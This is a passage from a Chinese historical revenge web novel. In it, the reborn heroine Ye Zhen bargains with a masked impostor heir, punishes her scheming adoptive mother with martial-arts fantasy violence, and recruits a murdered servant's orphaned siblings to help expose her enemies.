但他们既然出手,定也是不愿看到叶桢平安无事的回到京城的。
叶家是叶桢娘家,他们要对付叶桢比她容易许多,光一个孝道就能压的叶桢喘不过气。
就算外人知道了,大多也会疑心是叶桢不好,才被父母惩治。
思及此,她忙招了婢女低声吩咐。
与此同时,叶桢也在想一个问题。
之前她在庄上十几年,叶家虽没管她,却也没派人害她。
这次他们为什么要帮侯夫人对她出手?
是侯夫人给了他们什么好处?
还是出了什么变故,叶家再也不敢留她?
亦或者她做了什么,惹怒了叶家?
叶桢排除了后者,自回京后,虽看出叶家父母虚情假意,但那时以为他们就是自己的亲爹亲娘。
没有孩子不渴望亲情。
她亦不例外。
因而知晓叶家想攀附侯府,哪怕她在侯府过得不如意,也尽量隐忍低调,以免连累叶家,不曾给叶家招惹一丝麻烦。
叶桢思量再三,没有头绪。
“给饮月的信送出去了?”
既想不出,那就查。
但她如今手下只有挽星,想做些事实在不方便。
她在外面培养了些人,这些年都是饮月替她管着。
前世,得知她出事,饮月带人赶来京城,正遇上她被侯府送出京城,一路上百姓围观辱骂,朝她丢烂菜石子。
饮月他们怎舍她受这等委屈,意图救她。
彼时,百姓被侯夫人和叶晚棠迷惑,认定她十恶不赦,因而连带迁怒围殴饮月等人。
饮月等人不忍对百姓动杀招,最终被叶晚棠的人拿下送去叶家,最终全无好下场。
这也是她将人提前叫到身边的原因之一,这世,她们主仆得提前通气,不能再让他们出事。
挽星不知叶桢心中疼痛,忙点头。
事关小姐她从不敢懈怠。
想到今日发生的事,她突然问道,“小姐是要和世子合作吗?”
叶桢不瞒她,“他在府上地位不低,能给我们助力。”
至于面具下的人并非忠勇侯世子这一点,叶桢却不愿挽星知道。
有些时候知道得越多越危险。
挽星却在想,那刑泽瞧着挺厉害的,世子也看重他。
如果……
她是说,如果她得到了刑泽的心,刑泽会不会就会鼓动世子多帮帮小姐?
许多时候,心腹对主子的影响挺大的。
就像小姐一直拿她当妹妹,从未真正将她看作婢女,她观察世子对刑泽似乎也挺好的。
跟在小姐身边多年,就算小姐没明说,她也猜到这件事应有叶家的手笔。
因这三年,小姐从未在外显露过身手,对付一个弱女子,侯夫人何至于用软筋散,寻常迷药足矣。
而小姐初回京时,叶夫人不小心崴脚,小姐担忧之下抱着她一路回房就医,暴露了力气。
小姐肩上的疤痕,在京城除了她和饮月更是只有叶夫人知道……
坏人太多,她很怕小姐一人应付不来,再受伤害。
她的使命便是护小姐周全,可她能力有限,她得给小姐寻求外援。
师父说过,无论什么样的招,有用就是好招。
叶桢不知她的婢女竟生了这种心思,若知道定会阻止。
她在入夜后去了谢霆舟的墨院。
“还请兄长画出相貌。”
叶桢同谢霆舟道。
她这次和他的交易,便是他帮她应付谢瑾瑶,她给他制作能以假乱真的人皮面具。
这画的自然就是真正忠勇侯世子。
谢霆舟颔首。
一炷香后,画像交到叶桢手里。
画中男子,容貌与忠勇侯有些相似,都是偏刚毅的长相,只不过他右眼下有颗泪痣,柔和了这份刚毅。
泪痣下是斑驳纵横的伤疤,瞧着应是烧伤。
画像旁边另有一副小像,画的是右边侧脸。
上头疤痕清晰。
叶桢看了对面男人一眼。
能将整张脸画得这般清楚,连疤痕走向都清楚,看来他和真正的世子很熟。
他是谁?
为何要冒充世子?
忠勇侯知道吗?
真正的世子又去了哪里?
叶桢心里疑虑重重,面上未显分毫。
她又列了一份清单,“劳烦兄长准备好这些。”
这些都是做人皮面具所需的材料。
谢霆舟看了眼递给刑泽,便又看向了叶桢。
叶桢继续,“制作时还需得借兄长的地方一用。”
面具制作不易,费时颇长,东西放她那边不及谢霆舟这边安全。
“可。”
谢霆舟言简意赅,“需要多久?”
“东西齐全,半月左右便可。”
叶桢起身,“还需得给兄长量身。”
谢霆舟颔首,坐着未动。
叶桢行至他身后,拿出小尺量了他的肩,记在纸上,又转到他面前,量他脖颈。
而后问道,“兄长可否取下面具?”
她需得了解他的脸型尺度,才能做得更逼真,更贴合。
刑泽和扶光皆是脸色大变。
谢霆舟掀眸看她,沉默几息,他掀了面具。
肌肤白净无暇,脸部线条流畅刚毅,五官精致如斧凿。
两眼相对,叶桢呼吸顿了顿。
原来那日虬髯之下是这样一张俊逸卓绝的脸。
不过,眼下男人寒潭映月似的眸中蕴含的杀意,提醒她此时不是犯花痴的时候。
她忙敛眸认真比对他脸颊尺寸,好似刚刚被这容颜乱了心神的不是她。
谢霆舟盯着她,目光犀利。
但凡叶桢流露出一丝认出他的迹象,他便会杀了她,绝无犹豫。
但他看到的只有她眼里片刻的惊艳,惊艳的目光,谢霆舟司空见惯,他知道自己有张能魅惑人心的脸,渐渐敛了气势。
叶桢清晰地感知到杀意的淡去,心弦微微松缓,眉眼平静,“好了,待东西备全,我再过来。”
量完,她退离几步。
“可。”
又是简短一个字。
叶桢福了福,转身出了房间。
无声交锋让她后背汗湿,被夜风一吹,打了个寒战。
但她很快运转内力,让自己周身温热起来,活着不易,想要复仇更不易,叶桢不后悔自己的选择。
这世间事大多是双面的,有利有弊,没有不需付出代价便能得到的好处……
第22章 闺房恶心事
叶桢出了墨院,没回自己的院子。
她潜入了一品将军府,她母亲叶惊鸿的家,原本也该是她的家。
母亲战死后,表姐叶晚棠便将舅舅舅母接来了将军府,他们一家三口在叶桢的家里团聚。
叶桢回京后入住的也是这里。
只不过那时舅母以他们是客居为由,给叶桢安排了一个极为偏僻的院落,亦极少让她出院子。
但习武之人的敏锐,让叶桢很快摸清了府中防卫,因而,她顺利摸到了叶家夫妇的房间。
屋里,叶正卿捧着本书百无聊赖,婢女在帮叶夫人王氏卸珠钗。
通好发,王氏挥退婢女,行至叶正卿身后,抽走了他手中书本。
“夫君,夜深了,我们安置吧。”
叶正卿不着痕迹翻了翻白眼,脸上闪过一抹抵触。
夫妻近二十载,就算妻子当年再美,时日久了他也会腻。
何况她容貌也就那样。
可王氏近些年却是如狼似虎。
叶正卿实在不愿应付,偏偏王氏如今有叶晚棠撑腰。
而他还指望女儿助他登上青云台,便不好明着惹王氏不快。
只得寻了话头,“最近夜里不安稳,不是梦见老爷子就是梦见小妹。
他们要找我索命,夜夜睡不好,人乏力得很,头也疼得厉害,白日办差都出了错。”
他掩下眼中嫌恶,握着王氏的手,“夫人可否去庙里小住几日,替我化解化解?
否则,这样下去我真担心被他们折磨死。”
王氏去了庙里,他眼不见心不烦,好歹能清闲几日。
女人有些时候格外敏感,王氏看穿他心思。
哼道,“老爷子生前都未能拿你如何,如今死了都快二十年,早就投胎转世了,难为你还能梦见他。
至于你那妹妹杀人无数,怕是早已身处炼狱,那还有闲心同你索命。”
要索命,他们早就索命了。
别以为她看不出来他的推拒。
可她女儿是一品将军府嫡女,是功臣之后,是被皇帝赐婚太子,将来要入皇家为媳的第一贵女。
而女儿能有今日,全是她当年英明果敢,及时让女儿占了叶桢身份。
她是叶家功臣,是将来的皇亲国戚,为何还得在基本需求上委屈了自己?
“晚棠想要个弟弟,将来出嫁娘家好有个依仗,为此,费心替妾身寻得名医。
老爷是要辜负女儿好意,还是不愿叶家有香火继承?”
原本她有一子一女,为儿子前途计,她将年少的儿子送去叶惊鸿身边。
本是希望儿子将来能接他姑母的班,却不想叶惊鸿没能护住她的儿子,让他战死了。
而她生晚棠时伤了身子,之后再没怀上。
儿子死后,她一直在调理身体,想再生个儿子傍身。
偏叶正卿不甚配合。
她露出一抹冷笑,“还是说,老爷厌弃了妾身,另有她人?”
叶正卿脸色一变,忙道,“别胡思乱想。
我真的只是最近精力不济,年轻时都不曾有过外心,如今这把年纪了,那还会弄什么外室?”
王氏冷哼不语。
若非寻别的男子有风险,当她愿意厚着脸皮求欢。
“既如此,明日我便让晚棠辞了那大夫,老爷当我是喜欢喝那劳什子苦药么?
妾身这般,还不是为了老爷,为了晚棠。
女人嫁得再尊贵,也得有个娘家,你我总不能陪她一辈子。
可老爷身为父亲,却一点不为晚棠考虑,那妾身还这般自贱做什么。”
她用女儿威胁。
叶正卿心头反感,面上却得安抚,“夫人当真误会了。”
他揽着王氏肩头,将人带到床边,吻了上去……
叶桢坐在屋顶,捂着耳朵望向夜空。
她出生,外祖父便死了,之后是舅母生病,叶家便寻了道士入府。
道士批命,她命格与京城犯冲,福薄受不得京城的富贵,需得送去乡下粗养到及笄。
否则不但会刑克家人,她自己也难养活。
以前只当是夫妻俩愚昧,听信道士之言,得知身世后便知所为批命,不过是他们送走她的借口。
可刚听叶正卿的意思,莫不是外祖父的死,也是他们所为?
屋里,叶正卿翻身坐起,他神情难堪,“夫人现在可信了?”
前后半盏茶的功夫都没有,浪费她精心沐浴的时间,王氏心里生出一股燥意。
但也知这种事,对男人来说是伤自尊的事,故而隐下不悦,“明日我请大夫替老爷瞧瞧。
但去庙里的事,需得过几日再说,今日侯府来人了。”
叶正卿还不知此事,忙问道,“侯府来人做什么?”
“哼,还不是为了你那好外甥女,她倒是能耐,平安归来不说,还得了忠勇侯青睐,让她管家。
谢大小姐怎会甘心,自然想让我们出手。”
王氏披着宽袍下床,“晚棠说过了,叶桢决不能留,我得先将叶桢的事料理了。”
叶正卿心思一动,“忠勇侯这般信任她?”
忠勇侯可是陛下身边的重臣,当初将叶桢嫁过去也是为了攀附上他。
却始终没机会亲近,若叶桢得了忠勇侯信任,那对他来说是好事啊。
晚棠虽是将军府嫡女,但小妹已战死,眼下将军府是靠着她生前荣光维持,荣光总有消弭的时候。
虽说被赐婚太子,可太子失踪多年,还不知将来究竟如何……
他半生钻营不得志,哪能将希望全寄托于晚棠一人身上。
不如在叶桢那边也留点后路。
他忙拉着王氏的手,“夫人,眼下急着除掉叶桢的是谢家母女,你何必成为别人手中刀,脏了自己的手。
万一事情败露,于晚棠也不利,甚至有可能牵扯出当年的事,你我还是谨慎为妙。”
他在王氏唇上亲了会儿,“夫人不如先心疼心疼为夫。
待为夫身子好转,我们生个儿子才是正道,夫人觉得呢?”
刚披的外袍滑落在地,王氏软在他怀里……
良久,王氏终于满足的去了洗浴间。
叶正卿用帕子捂着嘴干呕,眼里的厌恶几乎溢出来,又拼命用湿巾子擦拭双手。
中年夫妻,亲一口都能噩梦几宿,他今日牺牲可大了。
不过好在王氏松了口,同意先不出手对付叶桢。
这几日他得寻个机会见见叶桢,让她设法为他引荐忠勇侯。
忠勇侯凯旋正是风光无限时,若能为他官途说几句好话,他定能升迁。
若真如此,刚刚的牺牲也算值了。
只不过身体本能让他喉间又涌动起来,他忙又用帕子捂了嘴。
屋顶,叶桢胃里也是一阵翻涌。
她今夜来此,只是想看看能不能探听点有用消息,没想却看到这样一幕。
胃里不适让她再也呆不下去,却不想,一转身,就对上谢霆舟的眼。
捂住耳朵让叶桢失了警惕,也不知谢霆舟究竟何时来的,又听到看到了多少……
第23章 惩治养母
叶桢社死!
她确定,在她第二次捂耳之前,谢霆舟不在附近。
他不曾听到夫妻俩前头的对话,那么在谢霆舟眼里,叶家夫妻是她的亲生父母。
她这个女儿却蹲在父母房顶,窥探他们亲热。
而叶桢虽活两世,却不曾经历情事,这般境况下,实在做不到如常同他打招呼,维持敬重兄长的假象。
最终,她选择了面无表情地从谢霆舟身边跃过。
谢霆舟看着略显仓皇的背影,眼眸幽深,思忖几息,跟在了叶桢身后。
却没想到,叶桢会钻进王氏的洗浴间。
特制的浴桶内,注满了药味浓郁的汤汁,王氏闭目躺在里头,婢女在替她推揉小腹。
叶桢猜测,这些应是为了助孕。
她似狩猎的狐狸,隐在暗处静静看着这一切,极有耐心。
水凉加了两次热水后,王氏终于睁眸,朝婢女伸手。
婢女忙扶着她起身,待她站定又从旁边桶中舀清水为她淋去身上药汁。
王氏忽然开口,“吩咐下去,明日本夫人要去侯府看叶桢。”
她思来想去,还是觉得叶桢不可留。
至于叶正卿的心思,夫妻多年,她又怎会看不出他想两边讨好,为自己多留后路。
他既愿唱戏,她配合便是,总归得益的是她。
但晚棠决意要除去叶桢,她这个做娘的自然得帮自己的女儿。
在她心里,女儿比丈夫可靠多了。
她又叮嘱,“若老爷问起,就说我和晚棠逛铺子去了。”
话毕,耳中忽然传来一阵刺耳至极的哨声,好似要将她的头炸裂,“啊……”
王氏忙捂着耳朵,五脏六腑也开始绞痛起来,那是她从未体验过的疼痛。
婢女惊慌,“夫人,您怎么了?”
下一瞬,婢女惊恐大叫,“夫人,您……您流血了……”
王氏眼前变得模糊,耳中除了那刺耳的声音,根本听不到婢女在说什么。
只隐约看见婢女的嘴唇拼命动着。
脸上有黏腻的东西滑落,王氏抬手抹了把。
一手心的鲜红。
意识到这是自己眼睛流出的血泪,她怕到极致,大喊,“快,大夫。”
声音尖锐到破音。
婢女这会儿也反应过来,慌忙朝外跑去叫人。
王氏此时还是赤身,踉跄着出桶去拿衣裳,却不知怎的膝弯一痛,整个人后仰栽倒在地。
她觉得臀部和后脑勺疼的已经不是自己的了,但死亡恐惧让她不甘躺在地上等人来救……
洗浴室就在王氏卧房的偏间,王氏刚叫喊出声,叶正卿便听到了。
可他不甚关心王氏,也不觉她泡个澡能出什么事,因而并没动,直到婢女慌张跑出来,他才意识到可能出大事了。
等他进来,便见王氏趴在地上,她身下一滩血迹。
“夫人。”
叶正卿大惊。
他厌恶王氏,可还没到想她死的地步,“夫人这是怎么了?”
王氏没有反应。
他忙将人翻转过来,便见王氏双眸紧闭,满脸是血,腹部插着一把刀。
叶正卿瞳孔骤缩。
那是他往日剃须用的剃刀,怎会插在王氏肚子上?
这边动静很快传到叶晚棠耳中,她带人赶来,将军府顿时一片兵荒马乱。
叶桢趁机出了将军府,却在隔壁巷街看到等在那里的谢霆舟。
他抱臂斜靠在墙上,审视着叶桢。
“怎么做到的?”
王氏沐浴,他没跟着叶桢潜入屋内。
王氏叫出声时,他才掀了瓦片,看见王氏七窍流血,痛苦至极。
叶桢则不紧不慢取了门帘上的珠子,打在她脚上,让她重重滑倒在地。。
王氏刚挣扎爬起,叶桢又捡起珠子再次打在王氏膝盖,王氏受不住,往前栽去。
叶桢及时弹出妆台上的剃刀,王氏摔下去时,剃刀没入她腹部。
而后叶桢将屋中弄得凌乱,似王氏因疼痛挣扎所致。
叶桢速度很快,一切不过瞬间,现场便像极了王氏摔倒,不小心弄掉了剃刀,又倒霉地倒在了剃刀上。
这一切都在他眼前发生,但他问的是叶桢如何让王氏七窍流血,且看王氏后面似乎神志都不清了。
叶桢平静道,“我曾以石子做暗器助兄长杀死刺客,弹珠子和剃刀自然也不在话下。”
她佯装听不懂谢霆舟所问。
谢霆舟眯了眯眸,明白叶桢是不愿答。
便换了个问题,“为何这样做?”
他也知,这世间不是所有的父母都能称之为父母。
可他刚刚在叶桢眼里看到了浓浓的恨意。
叶桢对王氏的恨意。
据他所查,叶桢虽出生就被叶家送去南边庄子,但她对叶家夫妇很是在
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意。
也是为了他们,她才入的侯府,诸多隐忍。
可刚刚她出手就是要了王氏半条命。
叶桢眼眸坦诚,“庄上的事,是叶家与侯夫人合谋,今日,谢瑾瑶又联系了她,她要与谢瑾瑶一起对付我。”
她走近一步,“兄长,叶桢所求不过是活着,兄长与我合作,远胜与我为敌。”
她在侯府还没真正立足,若叶家再助力谢瑾瑶,她必定更加艰难。
仇人强大且多,叶桢得分而除之,而不是让他们联手对付她。
王氏受伤,能给她一些喘息的机会,至于她的命,叶桢却不想收得太利索,那太便宜了她。
她声音轻柔,说的却是警告的话。
她不会坏谢霆舟的事,也希望他别多事。
活着是一个人最基本的需求,她所求不过如此,若谢霆舟毁她希望,那她叶桢光脚的不怕穿鞋的。
必定也会拉着谢霆舟鱼死网破。
她对王氏的惩治,亦是想让谢霆舟有所顾忌,让他明白,叶桢并非好欺之人。
谢霆舟怎会听不出她话里的警告,他亦走近一步,忽然搂住她的腰,抬手摸向了叶桢的后颈,而后是脸颊。
男人双眸冷冽,手却是温热的,叶桢身形一僵,没料到他会这般轻浮。
但转瞬便明白过来,他要做什么。
叶桢黑眸与他对视,不闪不避。
谢霆舟眼眸沉寂,停了手中动作,静静看着她。
眼下的叶桢和他查到的叶桢相差甚大,她又会易容术,谢霆舟不得不怀疑,她是否也是冒牌货。
否则怎会对生母下此重手。
可他没找到叶桢易容的痕迹。
“不可对忠勇侯不利,否则本世子会杀了你。”
语气锋锐,似开刃的剑。
“若侯爷不于我为难,我会敬重他,对兄长亦是如此。”
前世,忠勇侯虽不曾对她始于援手,但也没害过她。
叶桢自小崇拜叶惊鸿,因而对武将天生多几分好感和宽容。
忠勇侯虽糊涂,却也是于百姓,于朝廷有功的悍将,叶桢不是滥杀之人。
可若他是非不分,执意要帮自己的家人与叶桢为敌,那就另当别论。
她退离谢霆舟,福了福身,“将军府的人说不得会找来此处,叶桢先回去了。”
谢霆舟颔首,却在叶桢离开后,返回了将军府。
第24章 叶桢的秘密
将军府。
王氏已醒转,但她头晕得厉害,一直想呕吐。
可这次摔倒让她伤了脖子和尾骨,稍一动都会让她疼得额头冒汗。
她坚持说自己是被人所害,要女儿和丈夫为她报仇。
但叶晚棠命人搜遍府中,并没发现有人潜入,现场也无可疑痕迹。
请了几个大夫,都说王氏气血混乱,内脏受损,需得好生静养,万不可劳累,却无人能说出是因何所致。
王氏不甘心,要求再请医。
大半夜的,叶正卿被她折腾烦了。
没好气道,“好端端的人,今日喝这个药,明日泡那个汤,说不得就是这样把自己折腾坏的。”
他自信,自己虽没武功,可若有人进了他的屋子,他不可能一点感觉都没有。
何况还有这满府的护卫,他们又不是吃素的。
那个现场,他怎么看都是王氏踩了掉落的珠子,不小心滑倒所致。
王氏被疼痛折磨,心烦气躁,听他这样说,气得头顶冒烟。
同叶晚棠告状,“他听说叶桢得了管家权,就生了别的心思,眼下见我这样无瑕对叶桢出手,心里指不定多高兴。
他还做梦叶桢助他升官呢,晚棠,他心里没我们母……”
他心里没我们母女二人,只有他自己。
“你胡说什么?”
叶正卿忙捂住她的嘴,“你这是脑子摔糊涂了不成。”
他们一家三口虽早已相认,但那也是私底下。
如今屋外可是不少人呢。
将军府眼下虽是晚棠当家,但大多数人都是看在叶惊鸿的面上忠于晚棠。
若叫他们知晓晚棠的身世,岂不是要出**烦。
叶晚棠也沉了脸,对王氏道,“此事我会去查,你先好生养身体,谢家那边暂不必出手。
谢瑾瑶若是连叶桢都对付不了,往后还有何颜面在我面前趾高气扬。”
她身为大渊第一女战神的女儿,自小是京城贵女们追捧的对象。
唯有忠勇侯府的谢瑾瑶总想与她一较高下。
后头叶惊鸿战死,忠勇侯得重用,谢瑾瑶愈发想压她一头。
先前王氏与侯夫人联手,她没有阻拦,是因她的确不能再留叶桢。
而区区叶桢还不配让她脏手,便由着他们去了,只她也没想到侯夫人会那般没用。
但也因此,侯夫人母女才更急着除掉叶桢,他们又何须替别人做打手。
她这个生母,脑子还是差了点。
王氏见女儿不悦,也不敢多言。
只还是坚持道,“晚棠,再查查,我总觉得是有人害我。
还有能不能替我请几个御医来瞧瞧,我难受得紧。”
她好日子还没过够,可不想死。
叶晚棠嘴上敷衍,心里已然不悦。
能请来一两个御医已是极大的面子,王氏张嘴就是几个,真以为将军府还是叶惊鸿活着的时候。
她在意王氏这个生母,但那是王氏不损她利益的前提下。
叶惊鸿留下的人情用一点少一点,生父生母都是没什么本事的,她得留着为自己筹谋。
她不认为这是自私,因为她清楚,只有她好了,父母才能好。
因而出了门她并不曾吩咐人去请御医,倒是让人再仔细在府里查查,是否当真有人潜入。
谢霆舟看到此处,方才转身离开。
一路眉心都不曾舒展,曾经的一品将军府防守如铁桶,便是他都很难悄无声息潜入。
可今晚他和叶桢在府中来去自由,无一人发现。
叶将军泉下有知,不知该作何感想。
还有叶家夫妇竟真的要对付叶桢,为何?
叶晚棠竟也参与其中,这里头有什么蹊跷?
另一头,叶桢回来,就被挽星按着上了一遍药,又喝了一碗滋补汤,方才得以就寝。
躺在床上,叶桢却睡不着。
拿着一只玉哨陷入思念。
玉哨是母亲生前所赠,一同给她的还有一本秘籍。
说是对她勤学武艺的奖赏,专门命人从战场送去了庄子。
但叮嘱她非必要不得外传,秘籍内容记熟后即刻焚毁。
她今日惩治王氏,用的是秘籍记载的传音功。
运转内力将哨音灌入王氏耳中,中伤其脏腑。
不愿告知谢霆舟,既是母亲有交代,也是叶桢不想让谢霆舟过分清楚她的底细。
让人捉摸不透,才能让人忌惮。
想到谢霆舟,叶桢的心沉了沉,这人今晚也去了将军府,是为跟踪她,还是有别的意图?
思虑一多,叶桢索性不睡了,打坐运功。
翌日,她刚用过早饭,宫里医女便来了。
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一番诊治后,叶桢送走医女,再去灶房给忠勇侯做了几个菜,以示感谢。
同时向他请示,想带挽星出门一趟,买些东西。
忠勇侯还有些诧异,出个门而已,怎的还需要他同意。
旋即他想到叶桢从前在侯府的遭遇,只怕柳氏很少让她出门。
对叶桢的愧疚又冒了出来,当即道,“你是侯府少夫人,将来更是掌家人,出入自由,往后不必特来请示。”
叶桢感激离开。
忠勇侯刚好练武回来有了饿了,便命人摆了碗筷。
今日叶桢做的几道菜皆是荤菜。
忠勇侯不是重口欲之人,但他吃叶桢的手艺很合胃口。
一高兴,心又软了几分。
“拿一千两给少夫人送去,顺道问问账房,这些年少夫人的月例可有按时给,若没有,让他们一次性补齐。”
叶桢两次感谢人,都是送菜,忠勇侯猜她应是手头拮据,没别的可以拿得出手的。
儿媳也是半个女儿,亦是他的孩子,他谢邦不该让自己的孩子吃些没必要的苦。
亲随送了银票回来,回禀道,“账上有发,但银子都落在了夫人手上。”
果然如此。
忠勇侯沉了脸,“本侯瞧着叶桢精神还不错,明日便将钥匙对牌给她送去。”
谢瑾瑶听说此事后,砸了两个花瓶。
“上不得台面的东西,竟用这种下作手段讨好父亲,父亲也是,他是没吃过好东西么,就这样被叶桢那种乡野厨艺给糊弄了。”
婢女忙提醒她慎言。
侯夫人如今不在府里,小姐的地位如何,全仰仗侯爷对小姐的在意程度,他们万不可得罪侯爷。
谢瑾瑶也知这个道理,但心里的气却压不下,吩咐道,“走,本小姐倒要看看她今日出门想做什么。”
叶桢想做什么?
她想查些事。
先前侯夫人污蔑她与府中男仆有染,声称对叶桢格外开恩,只处置了那男仆。
侯夫人敢当众那般说,便是府中真有男仆被罚。
她回来后也让挽星打听了下,前几日的确有男仆被杖毙。
那人是侯夫人的车夫。
但挽星打听不出男仆被处置的缘由。
叶桢隐约猜到什么,她想从男仆的死入手,揪出侯夫人的把柄……
第25章 威胁
“小姐,后面有马车跟着,好像是谢瑾瑶。”
车厢里,挽星放下帘子同叶桢道。
叶桢闭目养神,并不觉意外,“最近京城贵女都爱去什么铺子?”
谢瑾瑶本就视她为眼中钉肉中刺,如今忠勇侯对她态度和煦了许多,谢瑾瑶有了危机感,自然想抓她错处。
得知她出门,会跟来很正常,谢瑾瑶惯来是忍不了气的性子。
挽星道,“金缕斋最近扩了店铺,加了头面首饰、胭脂水粉这些东西,听闻生意很是红火,每日贵客云集。”
叶桢笑,“那我们也去凑凑热闹。”
谢瑾瑶是个极为在意颜面的人,谢云舟的事情未平息前,她不会轻易露面。
就算忍不住跟进去了,也不敢张扬,她们便有了脱身的机会。
后面的马车内,谢瑾瑶见叶桢主仆进了金缕斋,眉间怒意横生。
“当真是个没见过世面的,父亲才给她银子,她就爱慕虚荣。
就她那乡野出身,哪里配得上锦衣华服,就是穿了金缕衣也掩不住她那穷酸贱骨……”
金缕斋最近火爆异常,里头定有不少她的熟人,她暂不愿与他们打照面。
只得等在马车里,可越想越气,忍不住刻薄发泄。
二楼临窗,叶桢看了眼楼下的马车,带着挽星从金缕斋后门出去。
当年养父母以**迫她嫁入侯府,穿上嫁衣那日,她想着若谢云舟是良人,她便如世间万千女子那般,安于后宅,相夫教子。
若侯府非久留之地,她便尽心做五年侯府少夫人,以还父母生恩。
此后叶家再无叶桢。
婚后谢云舟寻各种理由不圆房,侯夫人又是佛口蛇心的,她就知自己的未来不在侯府。
为了能顺利离开,她对侯夫人身边的人和事多有关注。
因而知晓侯夫人的车夫叫伍大,当年假装孤儿**入侯府求生,实则还有弟妹养在西城平民区。
两人出了金缕斋,便运起轻功直奔伍大家。
一间很小的院子,却整洁干净,院内门上挂了白布。
在附近查探一番后,挽星敲门。
一个十一二岁的姑娘将门开出一条缝,她警惕打量两人,“你们找谁?”
“我们曾得伍大相助,得知他出事,想来祭拜一二。”
挽星如此道。
姑娘迟疑了下,决意关门,“心意领了,但大哥已下葬,两位请回吧。”
叶桢按住门,推开,和挽星闪身而入后关上门,“听伍大说,你们兄妹关系极好,他死的莫名,你们不打算为他报仇么?”
她和挽星在府里呆闷了,偶尔夜里会出来透透气,那日恰好见伍大在月色下替弟妹洗头,三人说说笑笑,很是融洽温馨。
姑娘被她们的举动吓了一跳,忙抄起门后扫把,“你们是谁?要干什么?”
叶桢温声道,“我们虽也是侯府的,但并非坏人。
你兄长的事关系到大小姐,只凭你们兄妹很难为你大哥讨到公道。”
姑娘眼中戒备更甚,“大哥说过,忠勇侯是好人。”
若他知道大哥是无辜的,定会给大哥一个公道。
叶桢眸色微动,事关大小姐只是她的猜测,姑娘却没否认。
她猜对了。
“可他也是大小姐的父亲,你大哥应该也告诉过你,忠勇侯极为疼爱大小姐。
何况,侯夫人处置你大哥时,定也寻了正当借口,你们没有可靠证据,就算求到侯爷面前也没用。
侯府庭院深,你们也未必能见得到忠勇侯。”
前世,她出事没多久,庄上又被关了个男孩,男孩却逃了出去,看守她的婆子们被叫去一同寻人。
叶桢模糊听见,他们说若叫男孩逃脱了,连累大小姐名誉,夫人饶不了他们。
她记得最后那男孩被抓回,一同抓回的还有个小姑娘,两人最后被侯夫人下令活埋了。
回府后,得知死的是伍大,叶桢便猜想被活埋的那两个孩子,应该就是伍大的一双弟妹。
“我能助你们,可否将你二哥寻来?”
姑娘太小,家里如今主事应当就是前世那个男孩。
谢瑾瑶还在金缕斋门口盯着,叶桢不能无限耗下去。
姑娘用力握着扫把,不动。
家里虽无什么值钱的东西,可她也不敢留两个外人在家。
如今大哥没了,她和二哥生活艰难,家里少了任意一样东西,对他们来说都是不小的损失。
猜出姑娘顾忌,叶桢掏出一锭银子递给小姑娘,“我就在你院中等着,不进屋。”
姑娘思量片刻,接下银子,开门撒腿往外跑。
这是十两银子,他们屋里的东西加起来也不值这个数,故而她不再担心家里被偷。
叶桢等了约莫一炷香,一个十三四岁的男孩和姑娘一同回来。
应是路上已经听妹妹说过情况,男孩伍二直接问叶桢,“你为什么要帮我们?”
叶桢不瞒他,“因为我同样憎恨侯夫人和大小姐。”
“你不是侯府奴婢?”
大哥曾提过,侯夫人掌
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家很是严厉,下人从不敢有怨言。
若眼前人是侯府下人,又怎敢和侯府作对,还要针对大小姐。
且他瞧叶桢虽穿着普通,但气度像极了他在街上见到的那些贵人。
叶桢点头,“我的确不是奴婢,我是侯府少夫人。”
伍二顿时变了脸色,“少夫人还请回吧,我们兄妹命薄,不敢参与侯府内斗。”
这世间的贵人向来视他们为草芥,眼下少夫人想借他们对付大小姐,谁知利用完后他们又会有什么下场。
“你这些时日应该一直在打听侯府事,那当知晓侯夫人被留在了庄上。
表面是养病,实则是被忠勇侯处罚,此事乃我所为。
还有明日开始,侯府将由我掌家,大小姐协助,但她定不会甘心,若我失势,管家的就会是大小姐。
那么你们报仇将更加无望,甚至还没见到忠勇侯就被大小姐秘密处置。”
前世,两人应也是上门就被侯夫人送去了庄子,之后秘密处置。
叶桢又道,“若我将伍大还有弟妹的事透露给大小姐,你们定也活不过明日。”
男孩大怒,“你威胁我?”
当年大哥为了养活他和妹妹,自卖自身。
但大哥听说贵人们喜欢拿家人要挟下人,以此胁迫下人忠心。
大哥担心他和妹妹安危,便隐瞒了他和弟妹的存在,这些年都是偷偷来看他们。
如今大哥因得知大小姐的秘密,被侯夫人灭口,他和妹妹更不能暴露。
叶桢点头,“你就当是威胁吧。”
但也是在救兄妹俩的命。
虽然这世侯夫人不在府上,但侯府上下有不少她亲信,这对兄妹真闹出去,很难逃脱前世命运。
“你就不怕我当街拦下忠勇侯,将你今日所为说出去?”
男孩很机敏,反过来威胁叶桢。
叶桢看他,仿若看到自己养在南边的那些孩子们,她眼里多了抹笑意,“怕的,所以你妹妹伍有米得跟我走。
我初掌家,总需要些自己的人手,若你们配合行事,等大小姐和侯夫人彻底被扳倒,你妹妹不愿留在侯府的话,我可放她离开。”
男孩忙将妹妹护在身后,“你休想。”
心中害怕至极,这人连妹妹的名字都知道,可见她对他们家的事很是了解。
叶桢依旧是那副平静神色,“你们没得选择。”
另一头,谢瑾瑶等了许久不见人出来,再也等不下去。
吩咐婢女准备面纱,便气势汹汹进了金缕斋。
第26章 算计
谢瑾瑶将金缕斋寻了个遍,也没寻到叶桢。
“她定是察觉我在跟踪,从后门出去了。
我就说她还带着伤呢,怎的就急着出门,定是有什么见不得人的事,要躲着我呢。”
谢瑾瑶回了马车,吩咐道,“派两个人去后门堵着,一旦她出现马上报给我。”
她往日出门都是仆从无数,今日不想招摇,但也带了好几个护从出门。
叶桢的马车还在这里,她定会再次从后门回来,然后假装在金缕斋。
谢瑾瑶如此笃定,眼里有兴奋。
正愁怎么抓叶桢的把柄呢,她就送上门了。
叶桢从伍家出来后,就带着挽星和伍有米去了一家寻常的成衣铺子。
自己挑了两套,给两个丫头也各挑了两套。
伍有米不肯要。
叶桢威胁他们兄妹,她对叶桢有成见。
但叶桢的要挟的确有用,她也想为大哥报仇,更不想连累二哥,因而说服二哥跟着叶桢出来了。
可心里对叶桢很是防备。
叶桢见她不要,也不强求,让挽星结了账便又去了旁边的首饰铺子。
这次她只给自己和挽星各挑了两样,之后又零碎地添置了些东西,不曾隐藏行踪。
最后带着两人进了一家酒楼。
菜上桌,叶桢道,“坐下一起吃。”
挽星和叶桢一起长大,平日就时常一张桌上吃饭,到了侯府,规矩森严,她被勒令不得与主子同桌。
但私下两人出来,叶桢都会让她和在南边那样,故而挽星得了令,就坐下了。
伍有米不想,也不敢,立着不动。
